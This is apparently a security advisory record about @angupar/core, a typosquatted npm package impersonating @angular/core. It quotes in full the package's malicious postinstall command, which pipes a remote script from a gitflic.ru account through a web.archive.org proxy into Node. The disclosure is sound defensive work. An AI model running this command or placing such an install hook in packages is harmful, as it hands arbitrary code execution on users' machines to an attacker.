Malicious code in @angupar/core (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84) Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a third-party user account (`hellscripter` on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. `npm install @angupar/core` therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.
